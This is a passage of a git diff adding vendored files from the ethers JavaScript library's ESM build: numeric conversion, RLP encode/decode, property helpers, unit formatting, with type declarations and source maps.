getBigInt(value, name); + assert(result >= BN_0, "unsigned value cannot be negative", "NUMERIC_FAULT", { + fault: "overflow", operation: "getUint", value + }); + return result; +} +const Nibbles = "0123456789abcdef"; +/* + * Converts %%value%% to a BigInt. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. + */ +export function toBigInt(value) { + if (value instanceof Uint8Array) { + let result = "0x0"; + for (const v of value) { + result += Nibbles[v >> 4]; + result += Nibbles[v & 0x0f]; + } + return BigInt(result); + } + return getBigInt(value); +} +/** + * Gets a //number// from %%value%%. If it is an invalid value for + * a //number//, then an ArgumentError will be thrown for %%name%%. + */ +export function getNumber(value, name) { + switch (typeof (value)) { + case "bigint": + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return Number(value); + case "number": + assertArgument(Number.isInteger(value), "underflow", name || "value", value); + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return value; + case "string": + try { + if (value === "") { + throw new Error("empty string"); + } + return getNumber(BigInt(value), name); + } + catch (e) { + assertArgument(false, `invalid numeric string: ${e.message}`, name || "value", value); + } + } + assertArgument(false, "invalid numeric value", name || "value", value); +} +/** + * Converts %%value%% to a number. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. Throws if the value is not safe. + */ +export function toNumber(value) { + return getNumber(toBigInt(value)); +} +/** + * Converts %%value%% to a Big Endian hexstring, optionally padded to + * %%width%% bytes. + */ +export function toBeHex(_value, _width) { + const value = getUint(_value, "value"); + let result = value.toString(16); + if (_width == null) { + // Ensure the value is of even length + if (result.length % 2) { + result = "0" + result; + } + } + else { + const width = getNumber(_width, "width"); + assert(width * 2 >= result.length, `value exceeds width (${width} bytes)`, "NUMERIC_FAULT", { + operation: "toBeHex", + fault: "overflow", + value: _value + }); + // Pad the value to the required width + while (result.length < (width * 2)) { + result = "0" + result; + } + } + return "0x" + result; +} +/** + * Converts %%value%% to a Big Endian Uint8Array. + */ +export function toBeArray(_value) { + const value = getUint(_value, "value"); + if (value === BN_0) { + return new Uint8Array([]); + } + let hex = value.toString(16); + if (hex.length % 2) { + hex = "0" + hex; + } + const result = new Uint8Array(hex.length / 2); + for (let i = 0; i < result.length; i++) { + const offset = i * 2; + result[i] = parseInt(hex.substring(offset, offset + 2), 16); + } + return result; +} +/** + * Returns a [[HexString]] for %%value%% safe to use as a //Quantity//. + * + * A //Quantity// does not have and leading 0 values unless the value is + * the literal value `0x0`. This is most commonly used for JSSON-RPC + * numeric values. + */ +export function toQuantity(value) { + let result = hexlify(isBytesLike(value) ? value : toBeArray(value)).substring(2); + while (result.startsWith("0")) { + result = result.substring(1); + } + if (result === "") { + result = "0"; + } + return "0x" + result; +} +//# sourceMappingURL=maths.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/maths.js.map b/node_modules/ethers/lib.esm/utils/maths.js.map new file mode 100644 index 000000000000..bd7b9fa68d60 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/maths.js.map @@ -0,0 +1 @@ +{"version":3,"file":"maths.js","sourceRoot":"","sources":["../../src.ts/utils/maths.ts"],"names":[],"mappings":"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AC,CAAC;KAAE;IAEnD,IAAI,GAAG,GAAG,KAAK,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC;IAC7B,IAAI,GAAG,CAAC,MAAM,GAAG,CAAC,EAAE;QAAE,GAAG,GAAG,GAAG,GAAG,GAAG,CAAC;KAAE;IAExC,MAAM,MAAM,GAAG,IAAI,UAAU,CAAC,GAAG,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IAC9C,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QACpC,MAAM,MAAM,GAAG,CAAC,GAAG,CAAC,CAAC;QACrB,MAAM,CAAC,CAAC,CAAC,GAAG,QAAQ,CAAC,GAAG,CAAC,SAAS,CAAC,MAAM,EAAE,MAAM,GAAG,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;KAC/D;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AAED;;;;;;GAMG;AACH,MAAM,UAAU,UAAU,CAAC,KAA+B;IACtD,IAAI,MAAM,GAAG,OAAO,CAAC,WAAW,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAA,CAAC,CAAC,SAAS,CAAC,KAAK,CAAC,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;IAChF,OAAO,MAAM,CAAC,UAAU,CAAC,GAAG,CAAC,EAAE;QAAE,MAAM,GAAG,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;KAAE;IAChE,IAAI,MAAM,KAAK,EAAE,EAAE;QAAE,MAAM,GAAG,GAAG,CAAC;KAAE;IACpC,OAAO,IAAI,GAAG,MAAM,CAAC;AACzB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/properties.d.ts b/node_modules/ethers/lib.esm/utils/properties.d.ts new file mode 100644 index 000000000000..9f0daadf35ec --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/properties.d.ts @@ -0,0 +1,23 @@ +/** + * Property helper functions. + * + * @_subsection api/utils:Properties [about-properties] + */ +/** + * Resolves to a new object that is a copy of %%value%%, but with all + * values resolved. + */ +export declare function resolveProperties(value: { + [P in keyof T]: T[P] | Promise; +}): Promise; +/** + * Assigns the %%values%% to %%target%% as read-only values. + * + * It %%types%% is specified, the values are checked. + */ +export declare function defineProperties(target: T, values: { + [K in keyof T]?: T[K]; +}, types?: { + [K in keyof T]?: string; +}): void; +//# sourceMappingURL=properties.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/properties.d.ts.map b/node_modules/ethers/lib.esm/utils/properties.d.ts.map new file mode 100644 index 000000000000..1ea819569782 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/properties.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"properties.d.ts","sourceRoot":"","sources":["../../src.ts/utils/properties.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAwBH;;;GAGG;AACH,wBAAsB,iBAAiB,CAAC,CAAC,EAAE,KAAK,EAAE;KAAI,CAAC,IAAI,MAAM,CAAC,GAAI,CAAC,CAAC,CAAC,CAAC,GAAG,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;CAAC,GAAG,OAAO,CAAC,CAAC,CAAC,CAOvG;AAED;;;;GAIG;AACH,wBAAgB,gBAAgB,CAAC,CAAC,EACjC,MAAM,EAAE,CAAC,EACT,MAAM,EAAE;KAAI,CAAC,IAAI,MAAM,CAAC,CAAE,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;CAAE,EACnC,KAAK,CAAC,EAAE;KAAI,CAAC,IAAI,MAAM,CAAC,CAAE,CAAC,EAAE,MAAM;CAAE,GAAG,IAAI,CAU5C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/properties.js b/node_modules/ethers/lib.esm/utils/properties.js new file mode 100644 index 000000000000..2f91ac3e0d29 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/properties.js @@ -0,0 +1,54 @@ +/** + * Property helper functions. + * + * @_subsection api/utils:Properties [about-properties] + */ +function checkType(value, type, name) { + const types = type.split("|").map(t => t.trim()); + for (let i = 0; i < types.length; i++) { + switch (type) { + case "any": + return; + case "bigint": + case "boolean": + case "number": + case "string": + if (typeof (value) === type) { + return; + } + } + } + const error = new Error(`invalid value for type ${type}`); + error.code = "INVALID_ARGUMENT"; + error.argument = `value.${name}`; + error.value = value; + throw error; +} +/** + * Resolves to a new object that is a copy of %%value%%, but with all + * values resolved. + */ +export async function resolveProperties(value) { + const keys = Object.keys(value); + const results = await Promise.all(keys.map((k) => Promise.resolve(value[k]))); + return results.reduce((accum, v, index) => { + accum[keys[index]] = v; + return accum; + }, {}); +} +/** + * Assigns the %%values%% to %%target%% as read-only values. + * + * It %%types%% is specified, the values are checked. + */ +export function defineProperties(target, values, types) { + for (let key in values) { + let value = values[key]; + const type = (types ? types[key] : null); + if (type) { + checkType(value, type, key); + } + Object.defineProperty(target, key, { enumerable: true, value, writable: false }); + } +} +//# sourceMappingURL=properties.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/properties.js.map b/node_modules/ethers/lib.esm/utils/properties.js.map new file mode 100644 index 000000000000..59a7f65cad8d --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/properties.js.map @@ -0,0 +1 @@ +{"version":3,"file":"properties.js","sourceRoot":"","sources":["../../src.ts/utils/properties.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,SAAS,SAAS,CAAC,KAAU,EAAE,IAAY,EAAE,IAAY;IACrD,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,CAAC;IACjD,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QACnC,QAAQ,IAAI,EAAE;YACV,KAAK,KAAK;gBACN,OAAO;YACX,KAAK,QAAQ,CAAC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QACxC,IAAI,IAAI,EAAE;YAAE,SAAS,CAAC,KAAK,EAAE,IAAI,EAAE,GAAG,CAAC,CAAC;SAAE;QAE1C,MAAM,CAAC,cAAc,CAAC,MAAM,EAAE,GAAG,EAAE,EAAE,UAAU,EAAE,IAAI,EAAE,KAAK,EAAE,QAAQ,EAAE,KAAK,EAAE,CAAC,CAAC;KACpF;AACL,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp-decode.d.ts b/node_modules/ethers/lib.esm/utils/rlp-decode.d.ts new file mode 100644 index 000000000000..b77b08b9c194 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp-decode.d.ts @@ -0,0 +1,6 @@ +import type { BytesLike, RlpStructuredData } from "./index.js"; +/** + * Decodes %%data%% into the structured data it represents. + */ +export declare function decodeRlp(_data: BytesLike): RlpStructuredData; +//# sourceMappingURL=rlp-decode.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp-decode.d.ts.map b/node_modules/ethers/lib.esm/utils/rlp-decode.d.ts.map new file mode 100644 index 000000000000..458795aadc51 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp-decode.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp-decode.d.ts","sourceRoot":"","sources":["../../src.ts/utils/rlp-decode.ts"],"names":[],"mappings":"AAMA,OAAO,KAAK,EAAE,SAAS,EAAE,iBAAiB,EAAE,MAAM,YAAY,CAAC;AAwF/D;;GAEG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,SAAS,GAAG,iBAAiB,CAK7D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp-decode.js b/node_modules/ethers/lib.esm/utils/rlp-decode.js new file mode 100644 index 000000000000..c483ce3b17fd --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp-decode.js @@ -0,0 +1,79 @@ +//See: https://github.com/ethereum/wiki/wiki/RLP +import { hexlify } from "./data.js"; +import { assert, assertArgument } from "./errors.js"; +import { getBytes } from "./data.js"; +function hexlifyByte(value) { + let result = value.toString(16); + while (result.length < 2) { + result = "0" + result; + } + return "0x" + result; +} +function unarrayifyInteger(data, offset, length) { + let result = 0; + for (let i = 0; i < length; i++) { + result = (result * 256) + data[offset + i]; + } + return result; +} +function _decodeChildren(data, offset, childOffset, length) { + const result = []; + while (childOffset < offset + 1 + length) { + const decoded = _decode(data, childOffset); + result.push(decoded.result); + childOffset += decoded.consumed; + assert(childOffset <= offset + 1 + length, "child data too short", "BUFFER_OVERRUN", { + buffer: data, length, offset + }); + } + return { consumed: (1 + length), result: result }; +} +// returns { consumed: number, result: Object } +function _decode(data, offset) { + assert(data.length !== 0, "data too short", "BUFFER_OVERRUN", { + buffer: data, length: 0, offset: 1 + }); + const checkOffset = (offset) => { + assert(offset <= data.length, "data short segment too short", "BUFFER_OVERRUN", { + buffer: data, length: data.length, offset + }); + }; + // Array with extra length prefix + if (data[offset] >= 0xf8) { + const lengthLength = data[offset] - 0xf7; + checkOffset(offset + 1 + lengthLength); + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length); + } + else if (data[offset] >= 0xc0) { + const length = data[offset] - 0xc0; + checkOffset(offset + 1 + length); + return _decodeChildren(data, offset, offset + 1, length); + } + else if (data[offset] >= 0xb8) { + const lengthLength = data[offset] - 0xb7; + checkOffset(offset + 1 + lengthLength); + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + const result = hexlify(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length)); + return { consumed: (1 + lengthLength + length), result: result }; + } + else if (data[offset] >= 0x80) { + const length = data[offset] - 0x80; + checkOffset(offset + 1 + length); + const result = hexlify(data.slice(offset + 1, offset + 1 + length)); + return { consumed: (1 + length), result: result }; + } + return { consumed: 1, result: hexlifyByte(data[offset]) }; +} +/** + * Decodes %%data%% into the structured data it represents. + */ +export function decodeRlp(_data) { + const data = getBytes(_data, "data"); + const decoded = _decode(data, 0); + assertArgument(decoded.consumed === data.length, "unexpected junk after rlp payload", "data", _data); + return decoded.result; +} +//# sourceMappingURL=rlp-decode.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp-decode.js.map b/node_modules/ethers/lib.esm/utils/rlp-decode.js.map new file mode 100644 index 000000000000..fa129b9a4c43 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp-decode.js.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp-decode.js","sourceRoot":"","sources":["../../src.ts/utils/rlp-decode.ts"],"names":[],"mappings":"AAAA,gDAAgD;AAEhD,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AACpC,OAAO,EAAE,MAAM,EAAE,cAAc,EAAE,MAAM,aAAa,CAAC;AACrD,OAAO,EAAE,QAAQ,EAAE,MAAM,WAAW,CAAC;AAKrC,SAAS,WAAW,CAAC,KAAa;IAC9B,IAAI,MAAM,GAAG,KAAK,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC;IAChC,OAAO,MAAM,CAAC,MAAM,GAAG,CAAC,EAAE;QAAE,MAAM,GAAG,GAAG,GAAG,MAAM,CAAC;KAAE;IACpD,OAAO,IAAI,GAAG,MAAM,CAAC;AACzB,CAAC;AAED,SAAS,iBAAiB,CAAC,IAAgB,EAAE,MAAc,EAAE,MAAc;IACvE,IAAI,MAAM,GAAG,CAAC,CAAC;IACf,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,MAAM,EAAE,CAAC,EAAE,EAAE;QAC7B,MAAM,GAAG,CAAC,MAAM,GAAG,GAAG,CAAC,GAAG,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;KAC9C;IACD,OAAO,MAAM,CAAC;AAClB,CAAC;AAOD,SAAS,eAAe,CAAC,IAAgB,EAAE,MAAc,EAAE,WAAmB,EAAE,MAAc;IAC1F,MAAM,MAAM,GAAe,EAAE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AC,MAAM,CAAC,GAAG,IAAI,CAAC;QACnC,WAAW,CAAC,MAAM,GAAG,CAAC,GAAG,MAAM,CAAC,CAAC;QAEjC,MAAM,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE,MAAM,GAAG,CAAC,GAAG,MAAM,CAAC,CAAC,CAAC;QACpE,OAAO,EAAE,QAAQ,EAAE,CAAC,CAAC,GAAG,MAAM,CAAC,EAAE,MAAM,EAAE,MAAM,EAAE,CAAA;KACpD;IAED,OAAO,EAAE,QAAQ,EAAE,CAAC,EAAE,MAAM,EAAE,WAAW,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC,EAAE,CAAC;AAC9D,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,SAAS,CAAC,KAAgB;IACtC,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,MAAM,OAAO,GAAG,OAAO,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC;IACjC,cAAc,CAAC,OAAO,CAAC,QAAQ,KAAK,IAAI,CAAC,MAAM,EAAE,mCAAmC,EAAE,MAAM,EAAE,KAAK,CAAC,CAAC;IACrG,OAAO,OAAO,CAAC,MAAM,CAAC;AAC1B,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp-encode.d.ts b/node_modules/ethers/lib.esm/utils/rlp-encode.d.ts new file mode 100644 index 000000000000..089b1c3ea145 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp-encode.d.ts @@ -0,0 +1,6 @@ +import type { RlpStructuredDataish } from "./rlp.js"; +/** + * Encodes %%object%% as an RLP-encoded [[DataHexString]]. + */ +export declare function encodeRlp(object: RlpStructuredDataish): string; +//# sourceMappingURL=rlp-encode.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp-encode.d.ts.map b/node_modules/ethers/lib.esm/utils/rlp-encode.d.ts.map new file mode 100644 index 000000000000..319163b85ebc --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp-encode.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp-encode.d.ts","sourceRoot":"","sources":["../../src.ts/utils/rlp-encode.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,UAAU,CAAC;AAiDrD;;GAEG;AACH,wBAAgB,SAAS,CAAC,MAAM,EAAE,oBAAoB,GAAG,MAAM,CAO9D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp-encode.js b/node_modules/ethers/lib.esm/utils/rlp-encode.js new file mode 100644 index 000000000000..7d6d797d6492 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp-encode.js @@ -0,0 +1,49 @@ +//See: https://github.com/ethereum/wiki/wiki/RLP +import { getBytes } from "./data.js"; +function arrayifyInteger(value) { + const result = []; + while (value) { + result.unshift(value & 0xff); + value >>= 8; + } + return result; +} +function _encode(object) { + if (Array.isArray(object)) { + let payload = []; + object.forEach(function (child) { + payload = payload.concat(_encode(child)); + }); + if (payload.length <= 55) { + payload.unshift(0xc0 + payload.length); + return payload; + } + const length = arrayifyInteger(payload.length); + length.unshift(0xf7 + length.length); + return length.concat(payload); + } + const data = Array.prototype.slice.call(getBytes(object, "object")); + if (data.length === 1 && data[0] <= 0x7f) { + return data; + } + else if (data.length <= 55) { + data.unshift(0x80 + data.length); + return data; + } + const length = arrayifyInteger(data.length); + length.unshift(0xb7 + length.length); + return length.concat(data); +} +const nibbles = "0123456789abcdef"; +/** + * Encodes %%object%% as an RLP-encoded [[DataHexString]]. + */ +export function encodeRlp(object) { + let result = "0x"; + for (const v of _encode(object)) { + result += nibbles[v >> 4]; + result += nibbles[v & 0xf]; + } + return result; +} +//# sourceMappingURL=rlp-encode.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp-encode.js.map b/node_modules/ethers/lib.esm/utils/rlp-encode.js.map new file mode 100644 index 000000000000..3dd6434c93a3 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp-encode.js.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp-encode.js","sourceRoot":"","sources":["../../src.ts/utils/rlp-encode.ts"],"names":[],"mappings":"AAAA,gDAAgD;AAEhD,OAAO,EAAE,QAAQ,EAAE,MAAM,WAAW,CAAC;AAKrC,SAAS,eAAe,CAAC,KAAa;IAClC,MAAM,MAAM,GAAkB,EAAE,CAAC;IACjC,OAAO,KAAK,EAAE;QACV,MAAM,CAAC,OAAO,CAAC,KAAK,GAAG,IAAI,CAAC,CAAC;QAC7B,KAAK,KAAK,CAAC,CAAC;KACf;IACD,OAAO,MAAM,CAAC;AAClB,CAAC;AAED,SAAS,OAAO,CAAC,MAAwC;IACrD,IAAI,KAAK,CAAC,OAAO,CAAC,MAAM,CAAC,EAAE;QACvB,IAAI,OAAO,GAAkB,EAAE,CAAC;QAChC,MAAM,CAAC,OAAO,CAAC,UAAS,KAAK;YACzB,OAAO,GAAG,OAAO,CAAC,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC,CAAC;QAC7C,CAAC,CAAC,CAAC;QAEH,IAAI,OAAO,CAAC,MAAM,IAAI,EAAE,EAAE;YACtB,OAAO,CAAC,OAAO,CAAC,IAAI,GAAG,OAAO,CAAC,MAAM,CAAC,CAAA;YACtC,OAAO,OAAO,CAAC;SAClB;QAED,MAAM,MAAM,GAAG,eAAe,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;QAC/C,MAAM,CAAC,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC;QAErC,OAAO,MAAM,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC;KAEjC;IAED,MAAM,IAAI,GAAkB,KAAK,CAAC,SAAS,CAAC,KAAK,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC,CAAC;IAEnF,IAAI,IAAI,CAAC,MAAM,KAAK,CAAC,IAAI,IAAI,CAAC,CAAC,CAAC,IAAI,IAAI,EAAE;QACtC,OAAO,IAAI,CAAC;KAEf;SAAM,IAAI,IAAI,CAAC,MAAM,IAAI,EAAE,EAAE;QAC1B,IAAI,CAAC,OAAO,CAAC,IAAI,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC;QACjC,OAAO,IAAI,CAAC;KACf;IAED,MAAM,MAAM,GAAG,eAAe,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IAC5C,MAAM,CAAC,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC;IAErC,OAAO,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;AAC/B,CAAC;AAED,MAAM,OAAO,GAAG,kBAAkB,CAAC;AAEnC;;GAEG;AACH,MAAM,UAAU,SAAS,CAAC,MAA4B;IAClD,IAAI,MAAM,GAAG,IAAI,CAAC;IAClB,KAAK,MAAM,CAAC,IAAI,OAAO,CAAC,MAAM,CAAC,EAAE;QAC7B,MAAM,IAAI,OAAO,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC;QAC1B,MAAM,IAAI,OAAO,CAAC,CAAC,GAAG,GAAG,CAAC,CAAC;KAC9B;IACD,OAAO,MAAM,CAAC;AAClB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp.d.ts b/node_modules/ethers/lib.esm/utils/rlp.d.ts new file mode 100644 index 000000000000..bdc7e8284724 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp.d.ts @@ -0,0 +1,17 @@ +/** + * The [[link-rlp]] (RLP) encoding is used throughout Ethereum + * to serialize nested structures of Arrays and data. + * + * @_subsection api/utils:Recursive-Length Prefix [about-rlp] + */ +export { decodeRlp } from "./rlp-decode.js"; +export { encodeRlp } from "./rlp-encode.js"; +/** + * An RLP-encoded structure. + */ +export type RlpStructuredData = string | Array; +/** + * An RLP-encoded structure, which allows Uint8Array. + */ +export type RlpStructuredDataish = string | Uint8Array | Array; +//# sourceMappingURL=rlp.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp.d.ts.map b/node_modules/ethers/lib.esm/utils/rlp.d.ts.map new file mode 100644 index 000000000000..287f5705f6b1 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp.d.ts","sourceRoot":"","sources":["../../src.ts/utils/rlp.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAC5C,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAE5C;;GAEG;AACH,MAAM,MAAM,iBAAiB,GAAG,MAAM,GAAG,KAAK,CAAC,iBAAiB,CAAC,CAAC;AAElE;;GAEG;AACH,MAAM,MAAM,oBAAoB,GAAG,MAAM,GAAG,UAAU,GAAG,KAAK,CAAC,oBAAoB,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp.js b/node_modules/ethers/lib.esm/utils/rlp.js new file mode 100644 index 000000000000..cffd9f60b718 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp.js @@ -0,0 +1,9 @@ +/** + * The [[link-rlp]] (RLP) encoding is used throughout Ethereum + * to serialize nested structures of Arrays and data. + * + * @_subsection api/utils:Recursive-Length Prefix [about-rlp] + */ +export { decodeRlp } from "./rlp-decode.js"; +export { encodeRlp } from "./rlp-encode.js"; +//# sourceMappingURL=rlp.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/rlp.js.map b/node_modules/ethers/lib.esm/utils/rlp.js.map new file mode 100644 index 000000000000..6ad8eda8dfc9 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/rlp.js.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp.js","sourceRoot":"","sources":["../../src.ts/utils/rlp.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAC5C,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/units.d.ts b/node_modules/ethers/lib.esm/utils/units.d.ts new file mode 100644 index 000000000000..7f6ce1770a03 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/units.d.ts @@ -0,0 +1,24 @@ +import type { BigNumberish, Numeric } from "../utils/index.js"; +/** + * Converts %%value%% into a //decimal string//, assuming %%unit%% decimal + * places. The %%unit%% may be the number of decimal places or the name of + * a unit (e.g. ``"gwei"`` for 9 decimal places). + * + */ +export declare function formatUnits(value: BigNumberish, unit?: string | Numeric): string; +/** + * Converts the //decimal string// %%value%% to a BigInt, assuming + * %%unit%% decimal places. The %%unit%% may the number of decimal places + * or the name of a unit (e.g. ``"gwei"`` for 9 decimal places). + */ +export declare function parseUnits(value: string, unit?: string | Numeric): bigint; +/** + * Converts %%value%% into a //decimal string// using 18 decimal places. + */ +export declare function formatEther(wei: BigNumberish): string; +/** + * Converts the //decimal string// %%ether%% to a BigInt, using 18 + * decimal places. + */ +export declare function parseEther(ether: string): bigint; +//# sourceMappingURL=units.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/units.d.ts.map b/node_modules/ethers/lib.esm/utils/units.d.ts.map new file mode 100644 index 000000000000..4572b87dbba8 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/units.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"units.d.ts","sourceRoot":"","sources":["../../src.ts/utils/units.ts"],"names":[],"mappings":"AAyBA,OAAO,KAAK,EAAE,YAAY,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAa/D;;;;;GAKG;AACH,wBAAgB,WAAW,CAAC,KAAK,EAAE,YAAY,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,OAAO,GAAG,MAAM,CAWhF;AAED;;;;GAIG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,OAAO,GAAG,MAAM,CAazE;AAED;;GAEG;AACH,wBAAgB,WAAW,CAAC,GAAG,EAAE,YAAY,GAAG,MAAM,CAErD;AAED;;;GAGG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAEhD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/units.js b/node_modules/ethers/lib.esm/utils/units.js new file mode 100644 index 000000000000..f6ca574db0a7 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/units.js @@ -0,0 +1,83 @@ +/** + * Most interactions with Ethereum requires integer values, which use + * the smallest magnitude unit. + * + * For example, imagine dealing with dollars and cents. Since dollars + * are divisible, non-integer values are possible, such as ``$10.77``. + * By using the smallest indivisible unit (i.e. cents), the value can + * be kept as the integer ``1077``. + * + * When receiving decimal input from the user (as a decimal string), + * the value should be converted to an integer and when showing a user + * a value, the integer value should be converted to a decimal string. + * + * This creates a clear distinction, between values to be used by code + * (integers) and values used for display logic to users (decimals). + * + * The native unit in Ethereum, //ether// is divisible to 18 decimal places, + * where each individual unit is called a //wei//. + * + * @_subsection api/utils:Unit Conversion [about-units] + */ +import { assertArgument } from "./errors.js"; +import { FixedNumber } from "./fixednumber.js"; +import { getNumber } from "./maths.js"; +const names = [ + "wei", + "kwei", + "mwei", + "gwei", + "szabo", + "finney", + "ether", +]; +/** + * Converts %%value%% into a //decimal string//, assuming %%unit%% decimal + * places. The %%unit%% may be the number of decimal places or the name of + * a unit (e.g. ``"gwei"`` for 9 decimal places). + * + */ +export function formatUnits(value, unit) { + let decimals = 18; + if (typeof (unit) === "string") { + const index = names.indexOf(unit); + assertArgument(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } + else if (unit != null) { + decimals = getNumber(unit, "unit"); + } + return FixedNumber.fromValue(value, decimals, { decimals, width: 512 }).toString(); +} +/** + * Converts the //decimal string// %%value%% to a BigInt, assuming + * %%unit%% decimal places. The %%unit%% may the number of decimal places + * or the name of a unit (e.g. ``"gwei"`` for 9 decimal places). + */ +export function parseUnits(value, unit) { + assertArgument(typeof (value) === "string", "value must be a string", "value", value); + let decimals = 18; + if (typeof (unit) === "string") { + const index = names.indexOf(unit); + 